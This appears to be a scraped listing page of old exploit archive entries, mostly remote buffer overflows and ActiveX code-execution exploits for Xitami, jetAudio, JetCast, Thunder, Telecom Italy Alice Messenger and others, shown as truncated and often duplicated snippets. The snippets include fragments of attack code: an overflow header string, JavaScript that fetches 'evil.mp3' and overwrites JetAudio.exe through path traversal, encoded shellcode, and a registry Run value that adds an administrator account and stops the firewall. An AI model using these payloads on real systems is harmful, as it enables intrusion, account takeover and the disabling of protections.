Xitami Web Server 2.5 - 'If-Modified-Since' Remote Buffer Overflow

!/usr/bin/python Xitami Web Server 2.5 If-Modified-Since 0day Remote Buffer Overflow Exploit Bug discovered by Krystian Kloskowski h07 Tested on: Xitami 2.5c2 / XP SP2 Polish Shellcode: Windows Execute Command calc Details:.. Module xigui32.exe If-Modified-Since: Evil, "A" 76\r\n EIP 41414141...

AskJeeves Toolbar 4.0.2.53 activex Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================================= AskJeeves Toolbar 4.0.2.53 activex Remote Buffer Overflow Exploit ================================================================= // This is new technique I invent call 'he...

jetaudio-exec.txt

Tested on:.. - jetAudio 7.0.3 Basic - Microsoft Internet Explorer 6 Just for fun ; -- var target = "DownloadFromMusicStore"; //rename evil.exe evil.mp3 var url = "http://192.168.0.1/evil.mp3"; var dst = "..\..\..\..\..\..\..\..\Program Files\JetAudio\JetAudio.exe"; var title = "0day"; var...

jetAudio 7.x - ActiveX DownloadFromMusicStore() Code Execution

jetAudio 7.x - ActiveX DownloadFromMusicStore Code Execution Tested on:.. - jetAudio 7.0.3 Basic - Microsoft Internet Explorer 6 Just for fun ; -- var target = "DownloadFromMusicStore"; //rename evil.exe evil.mp3 var url = "http://192.168.0.1/evil.mp3"; var dst =...

jetAudio 7.x ActiveX DownloadFromMusicStore() Code Execution Exploit

Exploit for unknown platform in category remote exploits ==================================================================== jetAudio 7.x ActiveX DownloadFromMusicStore Code Execution Exploit ==================================================================== Tested on:.. - jetAudio 7.0.3 Basic...

Sun jre1.6.0_X isInstalled.dnsResolve Function Overflow PoC

Exploit for multiple platform in category dos / poc =========================================================== Sun jre1.6.0X isInstalled.dnsResolve Function Overflow PoC =========================================================== Sun jre1.6.0X isInstalled.dnsResolve function overflow PoC Bug...

jetAudio 7.x - ActiveX 'DownloadFromMusicStore()' Code Execution

Tested on:.. - jetAudio 7.0.3 Basic - Microsoft Internet Explorer 6 Just for fun ; -- var target = "DownloadFromMusicStore"; //rename evil.exe evil.mp3 var url = "http://192.168.0.1/evil.mp3"; var dst = "..\..\..\..\..\..\..\..\Program Files\JetAudio\JetAudio.exe"; var title = "0day"; var...

Sa-blog 0day-vulnerability warning-the black bar safety net

Quotation First:use is PHP5,is because of the SERVER variables are not affected by the'quotes of the limit,even if it is open the escape vulnerabilityin the User-Agent second:the insert into a plurality of data inserted in the text structure of the place is insert INTO $dbprefixsessions...

JetCast Server 2.0.0.4308 - Remote Denial of Service

JetCast Server 2.0.0.4308 - Remote Denial of Service !/usr/bin/python """ / | \ \ / / | / | '/ \ \ V /| || | | | / / \/|| | | | | ' | '/ / |/ \ ' | / | || | | | | | /\ \ / | | | |\ \ | ./|| ||/|| |||/ || || // \// GENRE: //\PLOIT // PROGRAM: JetCast Server 2.0.0.4308 EXPLOiT TYPE: 0day...

Tencent QQ scene vulnerability to the hack of the law-vulnerability and early warning-the black bar safety net

According to analysys international released the 2 0 0 7 in the first 2 quarters of China im market quarterly monitoring report shows, Chinese active IM software account has reached 3. 7 6 million, which has 2. 9 million active user accounts for Tencent QQ is well deserved IM the king. But did yo...

JetCast Server 2.0.0.4308 - Remote Denial of Service

!/usr/bin/python """ / | \ \ / / | / | '/ \ \ V /| || | | | / / \/|| | | | | ' | '/ / |/ \ ' | / | || | | | | | /\ \ / | | | |\ \ | ./|| ||/|| |||/ || || // \// GENRE: //\PLOIT // PROGRAM: JetCast Server 2.0.0.4308 EXPLOiT TYPE: 0day remote DoS exploit EXPLOiT LANGUAGE: Python DEBUG...

jetcast-dos.txt

!/usr/bin/python """ / | \ \ / / | / | '/ \ \ V /| || | | | / / \/|| | | | | ' | '/ / |/ \ ' | / | || | | | | | /\ \ / | | | |\ \ | ./|| ||/|| |||/ || || // \// GENRE: //\PLOIT // PROGRAM: JetCast Server 2.0.0.4308 EXPLOiT TYPE: 0day remote DoS exploit EXPLOiT LANGUAGE: Python DEBUG...

Apple Quicktime (Multiple Browsers) Command Execution PoC (0day)

Exploit for multiple platform in category remote exploits ================================================================ Apple Quicktime Multiple Browsers Command Execution PoC 0day ================================================================ 0day.today 2018-01-06...

JetCast Server 2.0.0.4308 Remote Denial of Service Exploit

Exploit for unknown platform in category dos / poc ========================================================== JetCast Server 2.0.0.4308 Remote Denial of Service Exploit ========================================================== !/usr/bin/python """ / | \ \ / / | / | '/ \ \ V /| || | | | / / \/||...

Joomla Component Restaurante Remote File Upload Vulnerability

Exploit for unknown platform in category web applications ============================================================= Joomla Component Restaurante Remote File Upload Vulnerability ============================================================= Joomla Component Restaurante = Remote File Upload...

Telecom Italy Alice Messenger Remote registry key manipulation Exploit

No description provided by source. !-- 04.50 20/08/2007 Telecom Italy Alice Messenger Hp.Revolution.RegistryManager.dll v.1 remote arbitrary registry key manipulation I mean this one: http://aiuto.alice.it/offerte/messenger/installazione.html this was 0day for a while, but ... who knows? the new...

telecomitaly-reg.txt

group="HKEYLOCALMACHINE" section="SOFTWARE\Microsoft\Windows\CurrentVersion\Run" key="sun-tzu" valType=1 'REGSZ value="""c:\windows\system32\cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config SharedAccess start= disabled & net stop SharedAccess & sc config...

Thunder 5.6.9.344 ActiveX 0day Remote Code Executi-vulnerability warning-the black bar safety net

Has been successfully tested,not card,is off IE OBJECT id=target classid=clsid:EEDD6FF9-13DE-496B-9A1C-D78B3215E266/OBJECT SCRIPT language=javascript var she132132132132llc13ode = unescape"%u9090"+"%u9090"+ "%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +...

Telecom Italy Alice Messenger - Remote Registry Key Manipulation

Telecom Italy Alice Messenger - Remote Registry Key Manipulation group="HKEYLOCALMACHINE" section="SOFTWARE\Microsoft\Windows\CurrentVersion\Run" key="sun-tzu" valType=1 'REGSZ value="""c:\windows\system32\cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config...

OTSTurntables 1.00 (m3u File) Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits =========================================================== OTSTurntables 1.00 m3u File Local Buffer Overflow Exploit =========================================================== ?php / OTSTurntables 1.00 Buffer OverFlow 0days 224 bytes...